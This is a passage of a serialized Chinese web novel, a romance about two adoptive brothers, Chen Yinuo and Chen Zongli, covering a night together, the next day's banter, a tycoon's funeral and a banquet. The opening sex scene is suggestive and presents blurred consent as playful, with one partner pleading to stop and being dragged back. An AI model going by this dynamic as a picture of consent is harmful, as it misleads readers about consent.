危险的声音从耳侧传来:“你出国以后,有一段时间失眠,我专门找人定做了一模一样的。晚上搂着它才睡得着。某些晚上,盖着它喊过你的名字……” 看似无欲无求的太子爷,一字一句告诉你,他的图谋已久。这个结论,让陈一诺浑身燥热。 耳朵里充斥着陈宗礼的声音,他敏感地扭动着,挣扎道:“哥,痒……” 陈宗礼不听,咬着他的耳朵,声音里带着“弄不死你算我输”的怒意:“一诺老师演示完,是不是该验收我的学习成果……” 房间里的所有灯都被关掉,黑暗里只有陈一诺的哀求声,他说:“我看不见。” 极佳的夜视能力的陈宗礼冷声道:“那不更好,心无旁骛……” 确实,由于视力缺失,身体其他感官的敏感度提升10倍,让他能心无旁骛地感受,陈宗礼的温度、尺度、力度、耐力程度……“度度”惊人。 陈一诺脑袋埋在枕头里,被压制得无法动弹,禁不住想起了“鬼压床”的故事…… “我不要了……”黑暗中,陈一诺觉得身上轻了些,他双腿发抖,伸手抓过一个软的枕头,企图要跑。 下一秒,陈宗礼把人无情地拽回来,让一诺的后背贴着自己滚烫的胸膛。耳边传来恶魔般的呢喃:“跑什么?还没开始验收,再忍一忍。” …… 这一忍,客厅的古董钟从凌晨3点,敲到凌晨5点。 在过去几个月的恋爱里,他们虽然是“地下恋”,却也在热恋期,对彼此身体的都有好奇,都有谷欠望,但始终没到最后一步。 在长时间的异地,和为数不多的互帮互助中,让陈一诺误以为,陈宗礼这方面的欲望不算高。 很多时候,反而是陈一诺不经撩,往往亲几下,火就被撩起来了。陈宗礼也惯着他,每次都主动替他纾解。动静不大,时间也不长。 过后,本着公平原则,陈一诺开心了,也想让对方开心,陈一诺提出要帮他,陈宗礼也乐意,过程算不上久。 只有刚从拘留所出来那次,陈一诺在他眼眸里看见要吃人的眼神,但只是短暂的一闪而过,他没往心里去。 更多的时候,陈宗礼怕他累,直接拒绝他的帮忙,自己去洗冷水澡,过后相拥而眠。 他以为陈宗礼年纪大,为人更沉稳,也更清心寡欲,比起□□更渴望精神上的恋爱。 但过了今晚,他彻底明白了。 陈宗礼,他x的都是装的! 陈宗礼不是欲求不高,只是单纯觉得“互帮互助”太儿戏,他不喜欢浅尝则止的,不喜欢小打小闹的。 所以,他深夜从老宅开车出来,把他带到私密的大平层。在这里,隔音更好,地方更大,他才能为所欲为。 看陈一诺自娱自乐都是开胃前菜,床上胡闹两小时后,他又把人带到书房的钢琴上,“登登登——”黑白琴键被胡乱地敲着,混着陈一诺的求饶声,有种后现代主义的浪漫与残忍。 最后,他还被陈宗礼拉到落地窗前,压在落地玻璃上,陈宗礼捏着他的下巴,让他直视前方。 问道:“认得那个湖吗?” 陈一诺胸口起伏,眯着眼睛辨认着窗外的夜景:“烟波湖?” 陈宗礼笑了:“对,湖对面,港城最大的LED大屏,记得吗?你说要包下来,替我告白。” 凌晨时分,不知道哪个疯子那么嚣张,在烟波湖对面的楼身投广告。 统一闪现炸裂的、3D的、死亡芭比粉色的写着:MARRYME! 它们在高达近百米的楼身屏幕上,旋转……跳跃……还爆出一堆BlingBling的梦幻心形泡泡。 陈一诺明白了,这是陈宗礼的报复! 手指上一阵凉意,抬头发现陈宗礼把一枚戒指套在他中指上——水滴形的粉钻。 身后的恶魔提醒道:“七位数的钻戒,亮瞎眼的告白,你用心帮我安排的,哥又都给你安排了一遍。” “我那么听话,你也该给我点奖励吧。” 陈一诺明知是个坑,还是不怕死地问:“什么奖励?” 陈宗礼指着远处刺眼的MARRYME:“它不结束,你也不许结束,行不行?” 陈一诺拒绝很干脆:“不行。” 陈宗礼拒绝了他的拒绝:“不许说不行。” 陈一诺:“……” 万万没想到,当初那些让陈宗礼如鲠在喉的操作,会以这样的方式,一一报应回自己身上。 作为陈宗礼延迟满足的奖励,他在大屏结束以后,依然不让陈一诺结束。 他说,这是延迟满足的衍生品——延迟结束。 最后,陈一诺的手指无力地沿着玻璃滑落,而玻璃外,东升的旭日像跟他交班似的,冉冉上升。 意识昏迷前,他虚弱地被陈宗礼抱在怀里。 陈宗礼亲他,问道:“觉得怎么样?” 陈一诺头埋在他的颈侧,低声骂:“觉得……好人没好报。”—— 作者有话说:首先,心疼我们诺诺。 此次,别人的文案,前十章就出现完了。我的文案,居然到了100章才写到~就是怎么说……这个数据差呀是有原因的。(扶额)[无奈][无奈] 第103章 “噼里啪啦——” 洪亮的鞭炮声,把疲惫的陈一诺吵醒。 港城禁止放鞭炮好多年,近几年市民抱怨年味变淡,于是,zf又放宽了管控。导致过年每一天,都是早鞭炮晚烟花,夜夜笙歌。 陈一诺心里骂骂咧咧,等意识恢复后,他无力地趴在床上,感觉自己的身体也跟鞭炮似的——噼里啪啦,没一个地方是不炸裂的。 他艰难地转头看向另一侧,罪魁祸首陈宗礼,穿着整齐的丝绸睡衣,道貌岸然地打电话。 “羽南港第二期的奠基仪式放在年后吧,邀请的宾客名单,让公关部准备好给我看一眼。” “A国的项目?怎么会找上我们?哦……你先把资料发过来。” 余光里,陈宗礼看见酣睡的卷毛脑袋动了动,半睁着眼睛,哀怨地看着自己。让他想起陈一诺昏过去之前的最后一句话:“好心没好报”。 他大手一伸,怜爱地把人直接揽过来贴到腰侧,手指搓着细软的卷发玩,聊工作的语气都变温柔了些许。 陈一诺拖着残躯,把头枕在他的腿上,手机另一端漏出陈宗瑜的声音。作为陈宗礼的助理,哪怕是亲妹,过年依然要工作——万恶的资本家。 “其他工作都不急,年后处理也行。” 陈宗礼垂眸欣赏着趴在腿上的风光。手臂搭在被子上,粉钻戒指带他手上丝毫不违和。细长的脖颈顺着光滑的后背,一路延伸到被子里。半露的蝴蝶骨伴着陈一诺的呼吸缓慢起伏。 手机那边的声音变弱,大脑的意识全集中在那片白皙上。手控制不住地从蝴蝶骨慢慢往下,没入被子…… 他心不在焉地“嗯”了声,回道:“那先挂了。” “哎!我还没说完!”陈宗瑜连忙阻止,从工作模式切换到八卦模式:“那个……晚上跟林家来聚餐,老太太问你们回不回来。” 林家算是那种,每年过节都坐坐的那种远房亲戚。陈宗礼不在乎。但陈宗瑜能问出这个问题,代表老宅的人已经发现他们昨晚没在家。 陈宗礼并不在意:“不回了。” 陈宗瑜还不想挂:“好吧……那一诺哥哥在你身边吗?他怎么样了?” 陈宗礼嫌她多事:“他在睡觉,别吵他!” 旁边涌进来庄嘉轩的声音,非常不怀好意:“下午三点了,还在睡?昨晚那么激烈嘛?” 陈宗礼挑眉面带笑意,骂道:“跟你有关系?” 庄嘉轩一副好友鬼鬼的模样:“跟我怎么没关系啦?你的小/H/片,还是我提供的!昨晚有没有用上?!” 陈宗礼转过头,他不想让庄嘉轩说的话被陈一诺听见。 语气里满是威胁:“你看过多少片儿,需要我说出来吗?” “什么东西?”陈宗瑜企图抢电话,被庄嘉轩抢回来,他立刻变乖道:“哎呀,开玩笑吗!昨天没来得及,兄弟补一句,真心祝福你们!” “但也悠着点。老太太刚松口让你们在一起,你们转头就洞房花烛不回家,长辈的观感不好……” 陈一诺忍不住了,用尽力气撑起上半身,从陈宗礼手上夺过手机,脸贴着话筒。 “姓庄的,你一个寸头古惑仔,别装正经人。我们在长辈心里的观感,怎么也比你好。” 那边听见陈一诺的声音,立刻被他沙哑的声音吸引,发现新大陆似的起哄。 “哎哟哎哟,我们一诺声音怎么啦?怎么气若游丝的?!” 陈宗瑜也惊了:“是啊,一诺哥哥,你没事吧?病了?” 更懂人事的庄嘉轩继续使坏:“肯定是昨晚太操劳!待会儿我们去买点人参,去涛声阁给他补补气!” 陈一诺也没想到自己声音哑成这样,骂道:“你来一个试试,我肯定给你开年!” “警告你,回头别在老太太面前瞎说!否则,当年你在CrazySnake的事,我全给你抖出来!” 陈宗瑜和陈宗礼同时问:“什么事?!” 庄嘉轩连忙岔开话题:“没事,没事!哎哟,开玩笑,开玩笑的嘛!” “陈一诺,你别当真吗!嘿嘿嘿,我们不打扰了,你们继续洞房花烛2.0,但注意节制哟!ByeBye~” 电话以迅雷不及掩耳之势被挂断。 陈一诺丢开手机“切”了一声。后脖一暖,被陈宗礼强行抬起脑袋,上斜眼打量着他:“你俩在CrazySnake有什么秘密?” 陈一诺脸色僵着,说道:“没有,我开玩笑的……” 陈宗礼凑近一点,不信道:“真没有?” “昂……” 陈一诺歪头把脸贴在陈宗礼手心,小狗似的蹭了蹭,嚷道:“陈宗礼,你真看过小H片吗?把我太疼了……” 陈宗礼把手机捡回来,放床头柜上,掀开被子,像巡视自己领土一般,缓慢地打量着他身上的每一寸肌肤,每一处伤痕。 陈一诺被他眼神盯得后背发毛,拽着被角道:“你干嘛,冷……” 陈宗礼这才把被子给他盖好,温柔问道:“哪里疼?” 清晨一诺昏过去以后,太子爷亲自用毛巾给人里里外外擦干净,上好药,睡到一半怕他发烧,还时不时检查一下。理论上应该没有大碍。 陈一诺命不久已似的呼出一口气:“全身……我全身都疼……” “陈宗礼,你要感恩!我是因为爱你,才让你这么放肆的,换别人,早他妈报警了。” 陈宗礼眉眼带笑,捏着他的嘴唇,提醒:“骂谁妈呢?” 陈一诺改口:“换别人,早他X报警了。” “我说真的!”他坐起身,满身的痕迹非常惹眼,“我以前还幻想你会娶老婆。” “现在想想,还好你喜欢男的。你这能力……身体弱些的相当于家/暴。”他指着身体的痕迹,“这里,这里,去医院都能鉴定伤情,都能报警。” 陈宗礼听着陈一诺的抱怨,手指在他后背的痕迹上游移,每到一处,他都记得是怎么留下的。 啃的,咬的,吮的,掐的,捏的……都让他食髓滋味。 他脑子不干净,表面却道貌岸然:“你觉得我在家/暴你?” 他慢慢解开自己睡衣的扣子,陈一诺立刻往后缩,警惕道:“你要干嘛?” 陈宗礼忽然转身,“chua——”地揭下睡衣,露出宽广的后背。小麦色的背上,有密密麻麻的抓痕,肩上还有不少红的、紫的牙印。 陈宗礼抱怨道:“我想干什么?我想让你看看,你也没好到哪里去~” “呐,你的牙印、抓痕,还踹了我一脚。家暴?我们这算互殴。” 陈一诺凑过来,抓着他后背四处找寻:“我什么时候踹你一脚?踹哪里了?” 陈宗礼眼眸一黯,得逞似的抓住机会,把陈一诺直接按在床上。 陈宗礼笑道:“昨晚没踹,待会儿可能要踹了……” 陈一诺能明显感觉对方身体的压迫,以及急速上升的温度,一如昨晚,让人毛骨悚然。 他立刻服软:“哥,不来了,我真的不行……”说这句话的时候,声音沙哑,还带了哭腔。 陈宗礼笑声蛊惑:“说了,不许说不行。” 陈一诺心想,那要怎么办?说我行,那陈宗礼还不顺杆爬,把我弄死? 他问道:“那……怎么才行。” 陈宗礼咬着他的唇:“你要是没反/y,我肯定不来,你看看,不是有反y么?” 不争气的还真有反/y “……” 陈一诺心道:J/虫害人。 …… 等陈一诺洗完澡扶着腰出来,已经过了晚饭时间。 可怜的陈一诺虚弱地靠在餐桌旁,等陈宗礼把外卖一个个拆开摆好。 他百无聊赖地翻看桌上一叠文件,标题用英文写着《巴库斯文旅项目招标书》。 “巴库斯……A国的开发工程招标,怎么找到你这里了?” 陈宗礼也笑:“A国的房地产项目不景气,像羽南港这种兼顾商业、住宅的开发项目不多。巴斯库的招标部代表,年前来羽南港参观,觉得这种模式巴库斯可以借鉴。所以,就把标书送我到这儿来了。” 虽说,天峻跟一星是合作关系,他跟陈宗礼又是情侣,但商业机密,还是不能偷看。他合上文件,不再问也不再看了。 陈宗礼洞悉他的小动作,说道:“看吧,他们也给一星寄了招标书,你提前看也是一样的。” 陈一诺惊讶:“还有我们的份?他认识我吗?” 陈宗礼:“巴斯库项目负责人认识李思维,他们之前在一个酒店项目合作过。但李思维还有宏发集团的一大摊子事,实在兼顾不来,就送我们一个顺水人情了。” 陈一诺随口问道:“参加招标的还有谁啊?” 陈宗礼神秘道:“她打探到的,有董氏集团。” 陈一诺挑眉:“哦豁,董嘉裕三天两头就传一回死讯,他们集团还有精力招标啊?” “他死了,董氏集团还有几万名员工要不吃饭的。” “他们集团总部在A国有地域优势,为什么不干?” 陈宗礼说完,把筷子递给陈一诺:“行了,过完年再说,先吃饭,吃完我们出去逛逛。让阿姨过来收拾房间。你有什么地方想去的?” 陈一诺坐在椅子上,疼得龇牙咧嘴,陈宗礼给他拿了个坐垫,这才缓慢坐下。 他缓慢地挪动屁股,说道:“去哪儿都行,别让我久坐就好。” 陈宗礼把粥放他面前,逗他:“我想想啊,去赛车?骑马……” 光听这些选项,陈一诺已经觉得屁股疼。他瞪大眼睛,啧了声,刚要骂。 陈宗礼先说:“……都不算好选择。”笑着给他夹了块鱼腩,“荡秋千怎么样?” “我看,楼下小区挺多小孩玩的……” 陈一诺差点把筷子甩他脸上:“陈宗礼,你做个人吧!” …… 吵吵闹闹地吃完饭,陈宗礼把餐桌收拾干净,回头发现陈一诺不知道跑去哪里。 陈宗礼不喜欢爬楼梯,所以特意选了大平层,三百平的房子,光房间六七个。 他先去卧室,满屋凌乱,被褥深深浅浅,地上还有t的包装袋,陈一诺估计不敢待在这里。 他又朝书房和健身房看了眼,还是没看到人。 “陈宗礼……” 陈一诺的声音从衣帽间传来,陈宗礼往里一看,发现他站在衣柜外,双手抱肩挑挑拣拣。 “你的衣服,真的好无聊……” 陈宗礼不以为然:“我这叫稳重。” 他们喜欢的东西,像两个极端,陈一诺A国公寓布置得像另一个迪士尼,睡衣、日常服装也是色彩、调皮、不拘常规的。陈宗礼则跟所有禁欲系总裁一样,只喜欢黑白灰,极简风。 陈一诺身上穿的浅蓝丝绸睡衣,在陈宗礼衣橱里,已经算是异类了。 现在,陈一诺要穿陈宗礼的衣服出门,实在左右为难。 陈宗礼忽略他的嫌弃,随手拿了几件塞到他手上。 “不是说,谈恋爱的人,都喜欢穿伴侣的衣服吗?我还听说,有人出差的时候,会拿对方的贴身衣物放行李箱呢。” 陈一诺好不容易选了一件白色毛衣,低声道:“我对你的衣服不感兴趣,我最多用用你的沐浴露。” 他想起什么,眯眼看陈宗礼:“所以,那张安抚毯,也算是我的贴身衣物?” 陈宗礼靠在衣柜旁看他换衣服,睡衣褪去露出浅浅的马甲线和薄肌,太瘦了。 “对啊,你去哪儿都带着它。睡觉还不能没有它。让你把它给我是不可能了。只能仿一件。” “听着怎么有些可怜呢?!”穿好衣服的陈一诺双手挂在他脖子上,鼻尖贴鼻尖,交换了一个绵长的吻。 “但我发现,跟你睡以后,好像不需要它了。” 陈宗礼满意地回吻:“嗯,那以后天天一起睡。” …… 两人在衣帽间磨蹭半天,堪堪走火之际,总算出了门。 涛声阁位于港城CBD的金环附近,工作日人满为患,过年人流倒是少了许多。 今年,港城过了一个暖年,上午能穿短袖,晚上微微凉,非常挺适合散步的天气。 他们走进一个广场,一只阿拉斯加的残影在侧面掠过,陈宗礼把陈一诺护在身后。 接着,同一方向飞扑一只哈士奇压在阿拉斯加身上,两只毛茸茸的大狗八肢交缠滚在一起玩闹。 战场旁边,围着黑的、白的、灰的、咖啡的小泰迪,拉拉队一样,围在它们身边看热闹不嫌事大,“汪汪汪汪”地呐喊助威。 在一轮玩闹后,哈士奇占了上风,它的前爪搭在阿拉斯加后背,开始前/后/摆动公/狗/腰…… 陈一诺笑道:“卧槽,还以为是打斗,原来刚刚全是前/戏啊!” 广场上所有人的目光都集中在狗上,不停起哄…… 哈士奇的主人赶紧跑过来,制止道:“Ricky!从阿拉身上下来!人家是男生!” 然而,二哈乐此不疲,任主人怎么拽,强势站在阿拉斯加身后,继续摆动公狗腰。 旁边小泰迪们更兴奋了,一边“汪汪汪汪”地呐喊助威,一边被感染,也开始对身旁的小伙伴做同样的动作。 一时间,整个广场上,大概3、4对小狗进行“爱的鼓掌”野战版,场面一度非常三/级。 陈一诺看动物门“爱的鼓掌”看得走不动,拽着陈宗礼,一直“啧啧啧”,“哎哟”地怪叫。 陈宗礼无奈:“你走不走啊?” 陈一诺抱着双臂:“不走,免费小H片,不看一看?” 陈宗礼凑到他耳边:“看有什么意思?不如回去直接做呢?” 陈一诺后背发紧,对陈宗礼彻底祛魅,感叹道:“陈宗礼,你怎么这样呢……” 两人正在打闹着,手机同时响起,拿起来一看,是陈宗瑜发来的消息—— “刚刚收到消息,董嘉裕在A国去世了。”—— 作者有话说:开年:粤语里,过年揍小孩专用语。 造句:大年初一,我daddy跟我说,信唔信,我同你开年?(相不相信我揍你~) 第104章 大年初十,董嘉裕在A国去世的消息,才正式对外公布。 既没有破坏大家过年的心情,又让媒体人无需终止休假。 董家这波操作,直接获得港城市民的好评。以至于,媒体人在制作董嘉裕的“传奇一生”回顾特辑时,也分外用心。 然而,大家对董嘉裕去世早有准备,因此,从讣告刊登的那刻起,大家已经把关注点聚焦在董家的遗产分配。 而鲜少在港城露脸的董嘉裕子女,他们的一举一动,更成为全城关注焦点。 下城区,骑楼老街下的“Monica私人订制”内,今天全是贵客。 为了出席董嘉裕的告别式,特意找阿墨定制西装。 Monica主理人阿墨,穿着白衬衫灰西装马甲,手持软尺,给张开双臂的陈宗礼量尺寸。 翻杂志的陈宗瑜嘀咕着:“董嘉裕在A国去世,怎么还要回港城办葬礼啊?兴师动众的。” 陈一诺抱肩倚着墙,手里举着香槟杯,从后欣赏陈宗礼倒三角形身材。 “落叶归根吧。董家在港城买了一片墓园,听说风水不错。” 量好背面,陈宗礼转过来,刚好抓到陈一诺看他,朝他挑眉笑了笑。阿墨刚好抬头对上,愣了愣,陈宗礼的脸又冷下来,仿佛在说,看什么? 阿墨:“……” 陈一诺收回视线:“而且,董家在港城人脉关系复杂,趁这次葬礼,刚好让大家认识认识接班人,方便以后工作嘛。” 接班人,说的当然是鲜少在港城露面的董焱了。 “二婶和老太太,去董家老宅探望林伯母,见到真人了吗?” 林宝珠是董嘉裕的原配夫人,林家在国内发迹,做珠宝生意。林宝珠离开港城前往内地定居前,跟冷翠英甚少往来,但也算有些交情。 听说林宝珠回港城,老太太特意跟吴淑芬一起,亲自到董家老宅拜祭董嘉裕,顺便慰问林宝珠。 港城四大家族中,董家一直是贺家的盟友,如今,董家的新掌舵人即将继任,于公于私,老太太都希望打探多少军情。 陈宗瑜:“见了林伯母两个女儿,董焱没在。后来,董焱的幺叔董嘉华过来,跟奶奶问候了两句。” 阿墨把陈宗礼的尺寸记录到电脑上,吩咐助手拿最新的布料让客人选。 陈宗礼走到他们这边,手惯性拍了拍陈一诺的腰侧,被陈一诺警告他当着陈宗瑜的面,别太放肆。 陈宗礼捏着他的腰就是不松开,低声笑道:“董嘉华那么着急刷存在感?” 陈宗瑜撇见他们的亲昵,翻了个白眼:“可不。他一听说老太太去拜祭,立马从高尔夫球场赶过来跟老太太打招呼。我妈说,他像被抢地盘的老孔雀,就想所有人想起董家,第一时间想到他。” 陈一诺沉吟:“看来,董嘉华跟董焱这仗是非打不可了。” 阿墨声音传来:“你们那些斗来斗去的事,回家说,别占着我的地方行不行?” “一诺,该你了!” 陈一诺把手里的香槟递给陈宗礼,交接时,两人的手指触碰到一起,凉凉的。 陈宗瑜蹭到阿墨身边,打开雷达,八卦道:“阿墨,董家的人,有没有来你这儿做西装?!” 港城豪门之间,衣食住行总有秘而不宣的宝藏小店。像“Monica私人订制”这种历史老店,已成港城豪门身份象征的一环。来的人非富即贵,不是熟人推荐,还没资格入内。 这种圈内名店,吃的瓜总是最前沿,最新鲜。 阿墨怕了陈宗瑜,侧身躲开:“别问了,我不会泄露客人的秘密。” “切,不说就不说~”陈宗瑜朝他做了个鬼脸,心想:你不说,我还不能自己找么? 她趁阿墨不注意,蹭到笔记本电脑旁,偷看最近订制数据。 阿墨量好尺寸,刚要回头输入,陈一诺连忙打配合吸引他的注意力:“阿墨,我是不是瘦了?” 阿墨收回软尺,觉得他莫名其妙:“我量的是尺寸,不是体重,哪知道你瘦没瘦?反正尺寸跟之前差不多。” “哦,这样吗?我以为腰围至少细一点。”陈一诺喃喃,摸了摸自己腹部。 阿墨老实地摇头:“没有,臀围倒是涨了,最近常练臀?” “……”陈一诺最近确实偷偷练了,但怕被陈宗礼听见,有些尴尬,低声说:“还……还行吧。” 他尴尬的时候,陈宗瑜已经偷看完毕,远离笔记本,陈一诺才放阿墨继续工作。 拱形窗旁,陈宗礼插着裤兜,边看两兄妹作弄阿墨,慢慢喝完剩下的香槟。 晴朗的春节过后,港城开始进入可怕的湿冷。绿过四季的植物,在晚冬时分,开始变黄,凋落,从高空簌簌落下。 在阴冷的雨天,细碎的枯叶铺满了老街,多少有些萧瑟。 这是,wx群里,收到陈宗瑜的消息:贺朗前天订了两套西装。 陈一诺拿着手机走到陈宗礼身边:“看到了么?” 陈宗礼手扶在他腰上,晃了晃手机,表示自己看到了。 阿墨烦他们挤在工作室,赶客道:“量完就走吧,还想再喝我一瓶香槟呐?!” 腰上的手下移到臀部,大手一捏,陈一诺后背瞬间僵直,低声道:“干什么!” 陈宗礼贴在他耳边:“嗯,臀是练得不错。” 陈一诺咬着下唇,耳朵尖尖瞬间红了。 陈宗礼满意地放下酒杯,剐了阿墨一眼:“小气鬼,回头送你一箱,走了!” …… 港城有两个“红馆”,位于同一条街的两侧。 左侧的“红馆”,叫红瞰体育馆,港城所有文化盛事,演唱会、明星见面会、国际赛事等都在这里举办。 右侧的“红馆”,叫红瞰殡仪馆,港城所有人的葬礼,他们的最后一程,都在这里进行。 上辈子,陈一诺没参加董嘉裕的葬礼,只知道董嘉华跟贺朗联手,夺董氏集团的实权。至此,攒够弹药的贺朗,在港城横行无忌,朝天峻发起了“恶意收购”。 陈宗瑜在阿墨的电脑上,找到贺朗购买西装的信息,也就是说,躲在A国的老狐狸要回来送董嘉裕最后一程,同时,明确站队董嘉华。 库里南被堵在街口,前面全是来祭拜的豪车,道路两旁,不停有市民拿着手机拍照。 毕竟,在这条街上,纸扎的豪车常有,真正的豪车却不常有。 陈一诺隔着车窗往外看,越靠近殡仪馆,聚集的记者越多。如果仔细看,不难发现街上多了不少穿着防弹衣的警察,路人里,也藏着不少便衣,脸上全是戒备状态。 陈一诺手指被陈宗礼捏了捏,对方凑过来问:“在想什么?” 他目光还在窗外游移,冷声道:“老太太让我们代表祭拜,还叮嘱要带保镖,是觉得会有危险?” 陈宗礼明显看到路上倍增的警力:“董家内部矛盾多,外面仇家也多,这种场合万一发生什么事,还是安全至上。” 他警告陈一诺:“特别是你!别不管不顾冲上去。” 陈一诺难以置信:“明知道有危险,我还不管不顾冲上去,我脑子不正常么?” “昂……”陈宗礼给他戴上墨镜,恶狠狠又心有余悸:“你就是不正常!” …… 距离殡仪馆正门,还有几十米,车就不让进了。戴着墨镜,身着西装的陈宗礼和陈一诺,被保镖的簇拥着下车。 “陈宗礼和陈一诺来了!” 殡仪馆的工作人员用铁马,隔出一条窄窄的两人通道,一脸肃穆的陈宗礼,身旁跟着英俊倜傥的陈一诺,立体的五官,配上阿墨量身定制的黑西装,勾勒出两人优越身型。 不知道哪个记者先认出他们,然后就是一片片刺眼的闪光灯,以及穷追不舍的问题。 “宗礼,今天特意来拜祭董嘉裕嘛?为什么老太太没现身?” “据说,董嘉裕把董氏集团交接给董焱,你们怎么看呢?” “较早之前,贺朗抵达祭奠,看见他有什么话要说嘛?” 陈宗礼的手轻轻推着陈一诺的腰,让他走在自己前面,侧身替他挡掉大部分麦克风。 偶有几个麦克风怼到陈一诺面前,他只能低头谢绝:“不好意思,无可奉告。” 他们穿过通道,走进殡仪馆,陈宗礼才问他:“你怎么表情怪怪的?” 陈一诺手指在两腮揉了揉:“出门前,兰姨叮嘱我,看见记者,表情一定要管理好,别让记者断章取义,乱写我们对死者不敬。” 陈宗礼双手插兜:“她怎么不叮嘱我?” 陈一诺瞪大眼睛:“我问了跟你一样的问题!结果兰姨说,要不是有我,她都不知道你会笑。” 陈宗礼听到这儿忍不住扬起嘴角,陈一诺连忙捂住他的嘴:“别笑啊!对死者不敬!” 陈宗礼在他掌心亲了一下,轻声道:“嗯,不笑!” …… 董嘉裕的灵堂按照港城最顶级规格置办,容纳上百人的会堂,整体布置以素色为主,行佛教仪式,中央放置董嘉裕遗照。 陈一诺置办过奶奶白凤娇的葬礼,知道选故人遗照,通常都爱选慈祥、精神的。但董嘉裕的遗照偏偏选了最威严的一张,仿佛要让人永远记住“港城一代枭雄”的威严和阴鸷。 遗照两旁摆满白玫瑰和花圈,都是亲属、好友、政商各界人士送赠的。陈老太本人虽然没到,但陈家的花圈早早送到。 陈宗礼和陈一诺抵达的时候,灵堂内已经坐满人,全是港城有头有脸的人物。 他们按照流程进行祭拜,手持一朵白菊花,向董嘉裕遗照三鞠躬,然后把菊花放置在遗照前。再走到一旁,接受家属谢礼。 陈宗礼握着林宝珠的手,郑重道:“林伯母,节哀顺变。” 接着,再依次跟董焱和两个妹妹董淼、董森一一握手。 “焱少,节哀顺变……” 陈一诺像个听话的小跟班,陈宗礼干什么他就干什么,说什么他就照说。 跟董焱握手的时候,陈一诺刻意多看他几眼。 和绑架那夜的神秘男人比,眼前的董焱留着络腮胡,体型比当时还要魁梧。身体裹在西装里,肌肉把衣料撑满,整个人充满雄性荷尔蒙,看着更成熟,更不好惹,像一只被封印在西装内的猛兽。 拜祭结束后,他们走到后排的空位落座。 按照流程,距离祭奠结束还有15分钟。结束后,董家在老字号酒楼摆设“解慰宴”。 陈家兄弟不打算出席“解慰宴”,索性在灵堂多坐一会儿,等结束时再跟主人家道别。 在港城,有人的地方就有江湖。 他们坐的位置靠后,两个贵妇拜祭完毕在他们前排落座,说话的声音传到他们耳朵里。 贵妇A:“那个就是董嘉裕儿子啊?怎么长得匪里匪气的,好凶啊。” 贵妇B:“对啊,周伯带着孙女就在我前面,好像想把孙女介绍给董焱。哇,他可凶了,直接跟周伯说,我有老婆,没空了解其他人。” 贵妇A:“哇,周伯那么德高望重他也一口拒绝,太没礼貌了!他在港城本来就一点根基也没有,还这样待人接物,董氏集团能交给他?” 贵妇B:“那得看嘉华叔,肯不肯帮他忙了。” 贵妇A冷笑:“切,我是嘉华叔,直接代替他不好吗?凭什么替他做嫁衣啊?” 陈一诺的目光朝灵堂扫了扫,董嘉华跟一班老友在灵堂外抽烟聊天,不时传来笑声。跟灵堂肃穆的气氛截然不同。 陈一诺碰碰陈宗礼的手臂,示意他往外看,吞云吐雾的人群里,躲在A国许久不露面的贺朗赫然在列。 他低声跟陈宗礼说:“董家的解慰宴安排在哪儿?” 他还没把话说透,陈宗礼就猜到他改变主意了。 说道:“好像在麒麟酒楼,有你喜欢的菊/花鱼生。” 陈一诺舔着下唇:“哎呀,那不得吃一口!”—— 作者有话说:出殡的时间跟《爆炸》里的有些冲突。思考了几天,如果硬拖到跟《爆炸》时间线一致,可能要水很多日常,不想那么拖沓,干脆改了时间,希望大家不要纠结。 如果没看过《爆炸》——要不看看呢~[坏笑][坏笑] 第105章 麒麟酒楼,港城最有名气的顺德酒楼,其中,最有名的一道菜:菊/花鱼生。 被山泉水“饿饲”的罗非鱼,放血后被切成薄如蝉翼、晶莹剔透的鱼生片,精心摆成层层绽放的“菊/花”,最后放置在冰块轧平的漆盘上盛出。 此前,陈一诺作为一个北方小孩,只吃过日料的鱼生,但一直吃不惯。来港城后,发现港城人吃粤菜为主,味道清淡,还异常喜爱吃河鲜。 有一年,老太太做寿,二婶特意找了顺德师傅上门做菊/花鱼生。 船型木盘把鱼生端上来时,陈一诺大吃一惊。一方面,没见过薄得透明的鱼生,难以想象它的口感;另一方面,它不像日本刺身,沾芥末、酱油,它的小料十多种,姜丝、葱丝、香芋丝、洋葱丝、椒头……酸甜苦辣,一应俱全。 面对如此复杂的菜式,陈一诺第一反应是:不敢碰。 当时,寿宴现场宴请了不少来宾,大家正对陈家这位“养子”好奇,不少目光盯着他。陈宗礼知道他不习惯,专门帮他调了料汁,教他怎么吃。 陈一诺夹着一片冰镇过的生鱼片,放到调料里,鱼生混着酱油和花生油,还沾着芝麻,如果细看,能发现鱼肉上沾着细碎的——草。 虽然疑惑,但陈一诺的羞耻心,问不出这是什么,只能闭着眼,一口吃下去。 冰镇的罗非鱼肉清甜弹牙,加上芝麻香,和“草碎”的清香,这一口彻底打破他对鱼生的固有印象。 后来,他才知道,哪些草碎,原来是柠檬草。 …… “麻烦续些柠檬草!” 麒麟酒楼内,陈一诺拿着空调料碟,熟练地让服务员添加佐料。 鱼生刚上没多久,被夹剩一半,大多都落入陈一诺和庄嘉轩腹中。 葬礼姗姗来迟的庄嘉轩,跟他们同桌,跟陈一诺边抢鱼生边“啧啧”称奇。 “你一个外地人,吃鱼生比我们本地人还凶……还知道柠檬草。” 服务员添了新的柠檬草,陈一诺先给陈宗礼分完,才给自己添,碟子里的柠檬草又只剩寥寥草草的一点。 “吃鱼生不放柠檬草,那口鱼生都没灵魂。” 陈宗礼看他一口气又进了五片鱼生,叮嘱道:“别光吃鱼啊,也吃点别的。” 满嘴鱼生的陈一诺嘟囔着:“就得趁新鲜的时候吃,晚了就不好吃了。” 他们这桌正在如火如荼地抢鱼生,旁边几桌,以董嘉华为首的一群人,敬酒敬两轮了,一直闹哄哄的。 庄嘉轩道:“哎,都是来吃解慰宴的,怎么我们这桌跟董焱那桌,那么安静,跟小孩桌似的。” 陈一诺挑眉:“进来的时候我就发现了。一群老狐狸……” 陈一诺他们坐的这桌,虽然位于宴席中间,但由于跟贺家关系紧张,也肯定不支持董嘉华,自然而然地就被孤立了。 董嘉华和贺朗为首,在一众豪门老狐狸间穿梭,谈笑风生,看似周到,实则巧妙避开了他们。 本来,跟陈一诺他们同一桌,还有几位港城初露锋芒的年轻老板。 刚开始,发现跟陈家兄弟坐一桌,还受宠若惊,言语间毕恭毕敬,想跟他们搞好关系。 发了一轮名片后,发现陈二少只知道吃,陈太子只知道看着陈二少吃,两人仿佛自成结界,外人根本插不进。而主人家董嘉华也完全不来这桌。 秉承着“山不就我,我去就山”的主观能动性,几个年轻老板摇着酒杯去找董嘉华应酬了。 于是,菜没上一半,这桌就只剩他们三个。 陈宗礼目光看向主桌:“我们算好了,至少看起来被簇拥着,你看看董焱那桌……” …… 